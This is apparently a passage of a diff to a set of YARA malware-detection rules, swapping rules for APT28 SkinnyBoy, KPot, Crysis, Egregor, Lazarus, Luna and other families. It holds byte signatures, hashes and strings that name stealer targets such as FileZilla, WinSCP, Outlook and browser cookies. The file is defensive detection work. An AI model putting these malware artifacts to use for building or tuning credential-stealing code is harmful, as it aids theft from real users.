"https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Dropper_Jun_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "0216015765f5abdb6ccf7643344aead51e4eebb19fd947f9484ce5dc6696d4d5" + logic_hash = "805bc5bb5833a75d68df2a6ce828d70b2257809a3699fdca5e621aae6bdc5070" score = 75 - quality = 61 + quality = 73 tags = "FILE" - hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c" - hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5" + hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9" + tlp = "White" + adversary = "APT28" strings: - $block1 = { 70 74 65 57 6c 6b 49 44 30 67 4a 79 4d 6a 49 79 63 67 44 51 6f 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 67 50 53 41 69 4a 47 56 75 64 6a 70 51 64 } - $block2 = { 41 67 ?? ?? 42 6c 62 48 4e 6c 61 57 59 6f 4a 47 31 35 5a 6d 78 68 5a 7a 4d 67 4c 57 56 78 49 44 49 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 67 6e 64 33 63 6e 4b 79 52 6e 62 47 39 69 59 57 77 36 62 58 6c 70 5a 43 73 6b 59 32 31 6b 61 57 51 72 4a 48 42 68 63 6e 52 70 5a 43 73 6f } - $block3 = { 6a 61 47 46 79 58 53 42 62 61 57 35 30 58 53 41 6b 64 47 31 77 57 7a 42 64 4b 53 41 72 49 43 } - $block4 = { 43 52 6a 62 6e 51 67 4c 57 56 78 49 44 49 31 4b 53 6b 67 44 51 6f 67 49 43 41 67 65 79 41 } - $block5 = { 5a 6c 52 45 35 54 49 43 67 6b 5a 43 6b 67 44 51 70 37 49 41 30 4b 43 53 52 6a 62 6e 51 67 50 53 41 77 49 41 30 4b 43 58 64 6f 61 57 78 6c 49 43 67 6b 59 32 35 30 49 43 31 73 64 43 41 79 4d 43 6b 67 44 51 6f 4a 65 79 41 4e 43 67 6b 4a 64 48 4a 35 49 41 30 4b 43 51 6c 37 } - $block6 = { 4b 49 43 41 67 49 43 41 67 49 43 41 6b 61 53 73 72 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 49 43 41 67 61 57 59 6f 4a 48 4a 6c 64 43 41 74 5a 58 45 67 4d 53 6b 67 44 51 6f 67 49 43 41 } - $block7 = { 77 36 62 58 6c 6d 62 47 46 6e 49 44 30 67 4d 43 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 43 41 67 49 47 56 73 63 32 56 70 5a 69 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 5a 73 59 57 63 67 4c 57 56 78 49 44 45 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 52 30 62 58 41 67 50 53 41 6b 62 58 6c 6b 59 58 52 68 4c 6c 4e 77 62 47 6c 30 4b 43 63 75 4a 79 6b 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 46 74 54 65 58 4e 30 5a 57 30 75 53 55 38 75 52 6d 6c 73 5a 56 30 36 4f 6b 46 77 63 47 56 75 5a 45 46 73 62 46 52 6c 65 48 51 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 72 4a 47 64 73 62 32 4a 68 62 44 70 6d 61 57 78 6c 62 6d 46 74 } - $block8 = { 4a 47 6b 72 4b 79 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 48 30 67 44 51 6f 67 44 51 6f 67 5a 6e 56 75 59 33 52 70 62 32 34 67 52 32 56 30 53 55 [1-10] 4e 43 69 41 67 49 43 41 6b 5a 32 78 76 59 6d 46 73 4f 6d 31 35 61 57 51 67 50 53 42 54 5a 57 35 6b 55 6d 56 6a 5a 57 6c 32 5a 55 52 4f 55 79 41 6f 4b 45 64 6c 64 46 4e 31 59 69 41 77 4b 53 73 6e 4d 7a 41 6e 4b 53 41 4e 43 69 42 39 49 41 30 4b 49 41 30 4b 49 47 5a 31 62 6d 4e 30 61 57 39 [1-10] 56 52 6f 61 58 4e 47} - $block9 = { 73 67 44 51 6f 4a 43 57 31 6b 49 43 31 47 62 33 4a 6a 5a 53 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 70 49 41 30 4b 43 51 6c 48 5a 58 52 4a 52 43 41 4e 43 67 6b 4a 51 32 68 68 62 6d 64 6c 56 47 68 70 63 30 5a 70 62 47 55 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 6c 6b 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 66 53 41 4e 43 69 42 6d 64 57 35 6a 64 47 6c 76 62 69 42 74 59 57 6c 75 49 41 30 4b } + $s1 = { 55 8b ec b8 48 12 00 00 e8 a3 52 00 00 a1 00 d0 40 00 33 c5 89 45 fc 56 57 68 08 02 00 00 8d 85 cc ed ff ff 50 51 ff 15 2c 80 40 00 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 8d 85 cc ed ff ff 50 c7 85 b8 ed ff ff 00 00 00 00 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 12 6a 00 56 ff 15 58 80 40 00 56 8b f8 ff 15 20 80 40 00 8d 85 c8 ed ff ff 50 8d 95 b8 ed ff ff 8d 8d cc ed ff ff 89 bd c8 ed ff ff e8 bc fd ff ff 8b bd b8 ed ff ff b8 4d 5a 00 00 83 c4 04 66 39 07 74 1b 68 c1 00 00 00 ff 15 34 80 40 00 5f 5e 8b 4d fc 33 cd e8 fe 08 00 00 8b e5 } + $s2 = { 8b 47 3c 81 3c 07 50 45 00 00 75 d9 8b 47 1c 8b b5 c8 ed ff ff 8b 4f 20 2b f0 85 c9 74 04 8b f1 2b f0 53 56 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 8b 4f 1c 56 03 cf 8b d8 51 53 89 9d c4 ed ff ff e8 96 5d 00 00 68 08 02 00 00 8d 85 f4 f9 ff ff 6a 00 50 e8 33 25 00 00 83 c4 18 8d 85 f4 f9 ff ff 50 6a 00 6a 00 68 1c 80 00 00 6a 00 ff 15 30 81 40 00 b8 18 00 00 00 68 ee 00 00 00 66 89 85 0c fc ff ff 8d 85 0e fc ff ff 6a 00 50 c7 85 fc fb ff ff 00 00 3f 00 c7 85 00 fc ff ff 47 00 5b 00 c7 85 04 fc ff ff 09 00 19 00 c7 85 08 fc ff ff 08 00 0d 00 e8 d1 24 00 00 f3 0f 7e 05 c4 bd 40 00 a1 d4 bd 40 00 68 ec 00 00 00 89 85 0c ff ff ff 66 0f d6 85 fc fe ff ff f3 0f 7e 05 cc bd 40 00 8d 85 10 ff ff ff 6a 00 50 66 0f d6 85 04 ff ff ff e8 93 24 00 00 83 c4 18 33 } + $s3 = { 0f b7 8c 05 fc fe ff ff 66 31 8c 05 fc fb ff ff 0f b7 8c 05 fe fe ff ff 66 31 8c 05 fe fb ff ff 0f b7 8c 05 00 ff ff ff 66 31 8c 05 00 fc ff ff 0f b7 8c 05 02 ff ff ff 66 31 8c 05 02 fc ff ff 83 c0 08 3d 00 01 00 00 72 b6 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fb ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 8d 85 f4 f9 ff ff 50 ff 15 28 80 40 00 68 d8 00 00 00 8d 85 24 fe ff ff 6a 00 50 c7 85 fc fd ff ff 1f 00 33 00 c7 85 00 fe ff ff 58 00 4e 00 c7 85 04 fe ff ff 5d 00 1b 00 c7 85 08 fe ff ff 59 00 27 00 c7 85 0c fe ff ff 70 00 2d 00 c7 85 10 fe ff ff 16 00 13 00 c7 85 14 fe ff ff 03 00 1c 00 c7 85 18 fe ff ff 0d 00 2a 00 c7 85 1c fe ff ff 07 00 51 00 c7 85 20 fe ff ff 08 00 13 00 e8 8f 23 00 00 f3 0f 7e 05 d8 bd 40 00 66 a1 00 be 40 00 66 0f d6 85 fc fe ff ff f3 0f 7e 05 e0 bd 40 00 66 0f d6 85 04 ff ff ff f3 0f 7e 05 e8 bd 40 00 66 0f d6 85 0c ff ff ff f3 0f 7e 05 f0 bd 40 00 68 d6 00 00 00 66 89 85 24 ff ff ff 66 0f d6 85 14 ff ff ff f3 0f 7e 05 f8 bd 40 00 8d 85 26 ff ff ff 6a 00 50 66 0f d6 85 1c ff ff ff e8 1f 23 00 00 83 c4 18 33 } + $s4 = { 0f b7 84 0d fc fe ff ff 66 31 84 0d fc fc ff ff 0f b7 84 0d fe fe ff ff 66 31 84 0d fe fc ff ff 0f b7 84 0d 00 ff ff ff 66 31 84 0d 00 fd ff ff 0f b7 84 0d 02 ff ff ff 66 31 84 0d 02 fd ff ff 83 c1 08 81 f9 00 01 00 00 72 b5 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fc ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 6a 00 8d 85 c0 ed ff ff 50 6a 00 6a 01 56 53 8b 1d 00 80 40 00 c7 85 c0 ed ff ff 00 00 00 00 ff d3 ff b5 c0 ed ff ff 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 6a 00 6a 00 8d 8d c0 ed ff ff 51 50 6a 01 56 ff b5 c4 ed ff ff 89 85 bc ed ff ff ff d3 8b 85 c0 ed ff ff 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 89 85 b8 ed ff ff 68 00 00 00 40 8d 85 f4 f9 ff ff 50 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b 1d 38 80 40 00 83 fe ff 74 55 3d b7 00 00 00 75 0b 6a 00 6a 00 6a 00 56 ff } + $s5 = { 55 8b ec 83 ec 0c a1 00 d0 40 00 33 c5 89 45 fc 53 8b 5d 08 56 57 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 51 89 55 f4 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 67 83 ff 02 74 62 6a 00 56 ff 15 58 80 40 00 89 03 85 c0 74 47 c7 45 f8 00 00 00 00 ff 15 0c 80 40 00 ff 33 6a 08 50 ff 15 08 80 40 00 8b 4d f4 6a 00 89 01 8d 4d f8 51 ff 33 50 56 ff 15 14 80 40 00 56 ff 15 20 80 40 00 8b c7 5f 5e 5b 8b 4d fc 33 cd e8 d4 0a 00 00 8b e5 } + $s6 = { 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f } condition: - filesize < 3KB and 7 of them + uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Egregor_Oct_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Kpot_Oct_2020_1 : FILE { meta: - description = "Detect Egregor / Maze ransomware by Maze blocks" + description = "Detect KPot stealer (new variant October 2020)" author = "Arkbird_SOLG" - id = "03d3ee25-cd0c-573e-beca-e4ff4377da9f" - date = "2020-10-29" - modified = "2023-11-22" + id = "316feeb3-59e5-5d18-9800-db41fabd6cb0" + date = "2020-10-17" + modified = "2020-10-17" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-31/Ran_Egregor_Oct_2020_1 .yar#L1-L21" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-17/MAL_KPot_Oct_2020_1.yar#L1-L40" license_url = "N/A" - logic_hash = "d7d03db002b74d031b725db60e38a46abce564fb090b013aa9ec66376b430000" + logic_hash = "20010e8f2d45f904911664edee710f4dca18327c2b80766c253970a50624d13c" score = 75 - quality = 75 + quality = 73 tags = "FILE" - hash1 = "14e547bebaa738b8605ba4182c4379317d121e268f846c0ed3da171375e65fe4" - hash2 = "af538ab1b8bdfbf5b7f1548d72c0d042eb14d0011d796cab266f0671720abb4d" - hash3 = "42ac07c5175d88d6528cfe3dceacd01834323f10c4af98b1a190d5af7a7bb1cb" - hash4 = "4139c96d16875d1c3d12c27086775437b26d3c0ebdcdc258fb012d23b9ef8345" + hash1 = "028ec268176707aadc2cf8e65a28236cbed214f9fd65fc3346ee34e859e50057" strings: - $x1 = { 45 f4 8b 4d 10 8b 09 0f b7 49 06 39 c8 0f 8d a2 00 00 00 8b 45 e4 83 78 10 00 75 48 8b 45 0c 8b 40 38 89 45 f0 83 7d f0 00 7e 37 31 c0 8b 4d ec 8b 55 e4 03 4a 0c 89 4d e8 8b 4d e8 8b 55 e4 89 4a 08 8b 4d f0 8b 55 e8 89 14 24 c7 44 24 04 00 00 00 00 89 4c 24 08 89 45 d4 e8 9e c6 ff ff 89 45 d0 eb 3a 8b 45 ec 8b 4d e4 03 41 0c 89 45 e8 8b 45 e4 8b 40 10 8b 4d 08 8b 55 e4 03 4a 14 8b 55 e8 89 14 24 89 4c 24 04 89 44 24 08 e8 77 a1 ff ff 8b 4d e8 8b 55 e4 89 4a 08 89 45 cc 8b 45 f4 83 c0 01 89 45 f4 8b 45 e4 83 c0 28 89 45 e4 } - $x2 = { 8b 45 f0 83 38 00 0f 86 a0 00 00 00 8b 45 f8 8b 4d f0 03 01 89 45 ec 8b 45 f0 83 c0 08 89 45 e8 c7 45 fc 00 00 00 00 8b 45 fc 8b 4d f0 8b 49 04 83 e9 08 d1 e9 39 c8 73 62 8b 45 e8 0f b7 00 c1 e8 0c 89 45 e0 8b 45 e8 0f b7 00 25 ff 0f 00 00 89 45 dc 8b 45 e0 85 c0 89 45 d0 74 0f eb 00 8b 45 d0 83 e8 03 89 45 cc 74 04 eb 17 eb 17 8b 45 ec 03 45 dc 89 45 e4 8b 45 0c 8b 4d e4 03 01 89 01 eb 02 eb 00 eb 00 8b 45 fc 83 c0 01 89 45 fc 8b 45 e8 83 c0 02 89 45 e8 eb 8c 8b 45 f0 8b 4d f0 03 41 04 89 45 f0 } - $x3 = { 8b 45 f0 8b 4d ec 03 01 89 45 e8 8b 45 e8 89 04 24 c7 44 24 04 14 00 00 00 ff 15 38 f0 0b 10 83 ec 08 31 c9 88 ca 83 f8 00 88 55 cf 75 0d 8b 45 e8 83 78 0c 00 0f 95 c1 88 4d cf 8a 45 cf a8 01 75 05 e9 6e 01 00 00 8b 45 f0 8b 4d e8 03 41 0c 89 04 24 ff 15 3c f0 0b 10 83 ec 04 89 45 dc 8b 45 dc b9 ff ff ff ff 39 c8 } - $op1 = { 60 8b 7d 08 8b 4d 10 8b 45 0c f3 aa 61 89 45 f0 } - $op2 = { 83 7d 08 00 89 45 ec 89 4d e8 89 55 e4 } - $op3 = { 89 4d e8 89 55 e4 75 09 c7 45 f0 00 00 00 00 } - $op4 = { 75 09 c7 45 f0 00 00 00 00 eb 17 60 } + $olds1 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" fullword ascii + $olds2 = "%s\\%s\\%s\\%.6s_%d.dat" fullword wide + $olds3 = "%s\\%s\\%s-Qt" fullword wide + $olds4 = "%s\\%s\\%.6ss" fullword wide + $olds5 = "%s\\%s\\%s.vdf" fullword wide + $olds6 = "https://%S/a/%S" fullword wide + $olds7 = { 4e 00 61 00 6d 00 65 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 43 00 6f 00 6d 00 6d 00 65 00 6e 00 74 00 3a 00 20 00 25 00 6c 00 73 00 0d 00 0a 00 55 00 73 00 65 00 72 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 44 00 61 00 74 00 61 00 3a 00 20 00 0d 00 0a 00 00 00 00 00 25 00 32 00 2e 00 32 00 58 00 20 00 00 00 00 00 25 00 2d 00 35 00 30 00 73 00 20 00 25 00 73 } + $debug1 = "4|Remote Desktop|%s|%s|%s|" fullword ascii + $debug2 = "1|TotalCommander|%s|%s|%s|" fullword ascii + $debug3 = "1|FileZilla|%s:%s|%s|%S|" fullword ascii + $debug4 = "5|Windows Mail|%s|%s|%s|" fullword ascii + $debug5 = "5|Outlook|%s:%d|%s|%s|" fullword ascii + $debug6 = "1|WS_FTP|%s|%s|%S|" fullword ascii + $debug7 = "1|WinSCP|%s|%s|%s|" fullword ascii + $debug8 = "3|Pidgin|%s|%s|%s|" fullword ascii + $debug9 = "3|Psi(+)|%s|%s|%s|" fullword ascii + $debug10 = "2|EarthVPN||%s|%s|" fullword ascii + $debug11 = "2|NordVPN||%s|%s|" fullword ascii + $debug12 = "0|%s|%S|%s|%s|%s" fullword ascii + $debug13 = "0|%S|%s|%s|%s|%S" fullword ascii + $debug14 = "0|%s|%s|%s|%s|" fullword ascii + $debug15 = "Masked|%s|%02d/%04d|%s|%s|%s" fullword ascii + $op1 = "{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" fullword ascii + $op2 = { 25 73 0d 0a 25 73 0d 0a 56 69 73 69 74 73 20 63 6f 75 6e 74 3a 20 25 64 0d 0a 4c 61 73 74 20 76 69 73 69 74 3a 20 5b 25 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 5d 0d 0a 0d 0a 00 42 72 6f 77 73 65 72 73 5c 48 69 73 74 6f 72 79 5c 25 73 2e 74 78 74 00 42 72 6f 77 73 65 72 73 5c 41 75 74 6f 66 69 6c 6c 5c 25 73 2e 74 78 74 00 00 00 00 42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 25 73 2e 74 78 74 } + $op3 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii + $op4 = "monero-project" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 350KB and ( 3 of ( $op* ) or 2 of ( $x* ) ) + uint16( 0 ) == 0x5a4d and filesize > 120KB and 4 of ( $olds* ) and 10 of ( $debug* ) and 2 of ( $op* ) } -rule ARKBIRD_SOLG_Exp_CVE_2021_40444_Sep_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Crysis_Sep_2020_1 : FILE { meta: - description = "Detect the maldocs with a structure like used for CVE_2021_40444 exploit" + description = "Detect Crysis ransomware" author = "Arkbird_SOLG" - id = "acaba73d-f744-5d3f-9617-e976832f3577" - date = "2021-09-09" - modified = "2021-09-09" - reference = "https://github.com/StrangerealIntel/DailyIOC" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-09/Exp_CVE_2021_40444_Sep_2021_1.yara#L2-L20" + id = "9cc1a1b9-c4a9-5add-833d-81be02ffc4fb" + date = "2020-10-16" + modified = "2020-10-16" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Crysis_Sep_2020_1.yar#L1-L23" license_url = "N/A" - logic_hash = "ba1b256c9caad3371d57e6ecbe54721038c819c7c081edf2443523109c25b184" - score = 50 - quality = 75 + logic_hash = "c7706b862cd0277c8b726d32dc819ad7e15933b28e3a31599922f3dc0beb8348" + score = 75 + quality = 69 tags = "FILE" - reference1 = "-" - hash1 = "199b9e9a7533431731fbb08ff19d437de1de6533f3ebbffc1e13eeffaa4fd455" - hash2 = "3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf" - hash3 = "5b85dbe49b8bc1e65e01414a0508329dc41dc13c92c08a4f14c71e3044b06185" - hash4 = "938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52" - tlp = "White" - level = "experimental" - adversary = "-" + hash1 = "34c485ad11076ede709ff409c0e1867dc50fd40311ae6e7318ddf50679fa4049" + hash2 = "4708750c9a6fdeaec5f499a3cd26bb5f61db4f82e66484dc7b44118effbb246f" + hash3 = "b565c8e1e81796db13409f37e4bd28877272b5e54ab5c0a3d9b6a024e7f5a039" + hash4 = "8e8b6818423930eea073315743b788aef2f41198961946046b7b89042cb3f95a" strings: - $x1 = { 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 55 54 09 00 03 [3] 61 [3] 61 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ?? 94 ?? 4e c2 [3] ef 4d 7c 87 } - $x2 = { 77 6d 66 55 54 09 00 03 00 a6 ce 12 00 a6 ce 12 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 bb 7e f6 d8 2c 06 38 48 00 93 85 e1 8c 0c 9c 0c 0c cc 52 60 1e 2b 98 64 01 62 66 46 0e 30 8f 9b 09 26 ce 03 66 31 83 55 00 00 50 4b 03 04 ?? 00 00 00 ?? 00 [10] 00 00 [2] 00 00 ?? 00 1c 00 } + $s1 = { 6f 25 25 4a 72 2e 2e 5c 24 } + $s2 = { 52 53 44 53 25 7e 6d } + $s3 = { 78 78 4a 6f 25 25 5c 72 2e 2e 38 24 } + $s4 = { 25 65 65 ca af 7a 7a f4 8e ae ae 47 e9 08 08 10 18 ba ba } + $s5 = { 58 74 1a 1a 34 2e 1b 1b 36 2d 6e 6e dc b2 5a 5a b4 ee a0 a0 5b fb 52 52 a4 f6 3b 3b 76 4d d6 d6 b7 61 b3 b3 7d ce 29 29 52 7b e3 e3 dd 3e 2f 2f 5e 71 84 84 13 97 53 53 } + $s6 = { 3b 32 32 64 56 3a 3a 74 4e 0a 0a 14 1e 49 49 92 db 06 06 0c 0a 24 24 48 6c 5c 5c b8 e4 c2 c2 9f 5d d3 d3 bd 6e ac ac 43 ef 62 62 } + $s7 = { 26 4c 6a 26 36 6c 5a 36 3f 7e 41 3f f7 f5 02 f7 cc 83 4f cc 34 68 5c 34 a5 51 f4 a5 e5 d1 34 e5 f1 f9 08 f1 71 e2 93 71 d8 ab 73 d8 31 62 53 31 15 2a 3f 15 04 08 0c 04 c7 95 52 c7 23 46 65 23 } + $s8 = { 7e fc 82 7e 3d 7a 47 3d 64 c8 ac 64 5d ba e7 5d 19 32 2b 19 73 e6 95 73 60 c0 a0 60 81 19 98 81 4f 9e d1 4f dc a3 7f dc 22 44 66 22 2a 54 7e 2a 90 3b ab 90 88 0b 83 88 46 8c ca 46 ee c7 29 } + $s9 = "sssssbsss" fullword ascii condition: - uint16( 0 ) == 0x4B50 and filesize > 5KB and all of ( $x* ) + uint16( 0 ) == 0x5a4d and filesize > 30KB and all of them } -rule ARKBIRD_SOLG_Backdoor_APT_Nazar_April_2020_1 : FILE +rule ARKBIRD_SOLG_Ran_Egregor_Sept_2020_1 : FILE { meta: - description = "Detect strings used by APT Nazar" + description = "Detect Egregor ransomware (variant Sept2020)" author = "Arkbird_SOLG" - id = "727a1f4e-1371-5a95-bce9-4a4f701a2ac6" - date = "2020-04-29" - modified = "2023-11-22" - reference = "Internal research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-04-29/Yara_Rule_APT_Bazar-April_2020_1.yar#L3-L29" + id = "b44b93ec-b470-511e-b08f-7d83efd30ecc" + date = "2020-10-07" + modified = "2020-10-16" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Egregor_Sept_2020_1.yar#L1-L22" license_url = "N/A" - logic_hash = "79028588ac6afd3e3d0d839d10eada9e5382991eebb600b0dae2119bcd7eac93" + logic_hash = "4ce7398cc6ad0538735aec6490204122690f029cbb8d20f9efd2f612955f106b" score = 75 - quality = 73 + quality = 75 tags = "FILE" - hash1 = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" + hash1 = "4c9e3ffda0e663217638e6192a093bbc23cd9ebfbdf6d2fc683f331beaee0321" + hash2 = "aee131ba1bfc4b6fa1961a7336e43d667086ebd2c7ff81029e14b2bf47d9f3a7" + hash3 = "3fd510a3b2e0b0802d57cd5b1cac1e61797d50a08b87d9b5243becd9e2f7073f" + hash4 = "9c900078cc6061fb7ba038ee5c065a45112665f214361d433fc3906bf288e0eb" + hash5 = "a376fd507afe8a1b5d377d18436e5701702109ac9d3e7026d19b65a7d313b332" strings: - $s1 = "101;0000;" fullword ascii - $s2 = "hodll.dll" fullword ascii - $s3 = { 70 73 73 64 6B ?? ?? 2E 73 79 73 } - $s4 = { 70 73 73 64 6B ?? ?? 2E 76 78 64 } - $s5 = "##$$%%&&''(())**++,,--..//0123456789:;<=>?" fullword ascii - $s6 = "SYSTEM\\CurrentControlSet\\Services\\VxD\\MSTCP" fullword ascii - $s7 = "removehook" fullword ascii - $s8 = "installhook" fullword ascii - $s9 = "_crt_debugger_hook" fullword ascii - $s10 = "\\Files.txt" fullword ascii - $s11 = "\\report.txt" fullword ascii - $s12 = "\\Programs.txt" fullword ascii - $s13 = "\\Devices.txt" fullword ascii - $s14 = "\\music.mp3" fullword ascii - $s15 = "\\z.png" fullword ascii + $x1 = "dmocx.dll" fullword ascii + $s2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide + $s3 = "M:\\sc\\p\\testbuild.pdb" fullword ascii + $s4 = "Type Descriptor'" fullword ascii + $s5 = "=$=`=h=p=t=x=|=" fullword ascii + $s6 = "--nop" fullword wide + $s7 = "9,94989@9X9" fullword ascii condition: - 12 of them and filesize > 120KB + uint16( 0 ) == 0x5a4d and filesize > 200KB and 1 of ( $x* ) and 4 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Luna_Stealer_Apr_2021_1 : FILE +rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Screencapture_June_2020_1 : FILE { meta: - description = "Detect Luna stealer (also Mercurial Grabber)" - author = "Arkbird_SOLG" - id = "2fecce99-5869-5de0-afae-6dc245748fa6" - date = "2021-08-29" - modified = "2021-08-30" - reference = "https://github.com/NightfallGT/Mercurial-Grabber" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Luna/MAL_Luna_Stealer_Apr_2021_1.yara#L1-L22" + description = "Detect ScreenCapture malware used by Lazarus APT" + author = "Arkbird_SOLG, James_inthe_box" + id = "bb0463ac-6219-5a12-b3d2-fc82800bda69" + date = "2020-06-23" + modified = "2021-07-13" + reference = "https://twitter.com/GR_CTI/status/1275164880992186371" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L3-L31" license_url = "N/A" - logic_hash = "934ded815c262fa8bee38638e17ed8c2b1f0dcad28037bf1d525e11bf7e34dce" + logic_hash = "66f8d3da0f70f6c4ed6f853ab4040d7f96c043e9e194f1720999b48910b3e756" score = 75 quality = 75 tags = "FILE" - hash1 = "a14918133b9b818fa2e8728faa075c4f173fa69abc424f39621d6aa1405f5a18" - hash2 = "93563f68975a858ff07f7eb91f4e0c997f0212d58b1755704d89fecd442d448f" - hash3 = "0521bb85472869598d9aa822b11edc04044dbe876dbf9900565bfdc8e02c2b21" - hash4 = "ce35eb5ba2f3f36b3d2742b33d3dbbe95f5ec6b93942ba20be4693528b163e3a" - tlp = "White" - adversary = "-" + hash1 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8" strings: - $s1 = { 73 ?? 00 00 0a 0b 07 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 0a 6f ?? 00 00 0a 0c 08 6f ?? 00 00 0a 6f ?? 00 00 0a 6f ?? 00 00 0a 0d 09 6f ?? 00 00 0a 0a 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 06 28 ?? 00 00 06 7d ?? 00 00 04 06 28 ?? 00 00 0a de 0a 07 2c 06 07 6f ?? 00 00 0a dc de 1a 13 04 72 [2] 00 70 11 04 6f ?? 00 00 0a 28 ?? 00 00 0a 28 ?? 00 00 0a de 00 2a } - $s2 = { 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0a 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0b 02 06 72 [2] 00 70 07 28 ?? 00 00 0a 7d ?? 00 00 04 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 0c 02 72 [2] 00 70 02 7b ?? 00 00 04 72 [2] 00 70 08 28 ?? 00 00 0a 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 72 [2] 00 70 02 7b ?? 00 00 04 28 ?? 00 00 06 7d ?? 00 00 04 02 7b ?? 00 00 04 28 ?? 00 00 0a 1f 16 63 21 00 b0 ca a2 4a 01 00 00 58 0d 09 28 ?? 00 00 0a 13 05 12 05 28 ?? 00 00 0a 13 04 02 12 04 fe 16 ?? 00 00 01 6f ?? 00 00 0a 7d ?? 00 00 04 2a } - $s3 = { 72 [2] 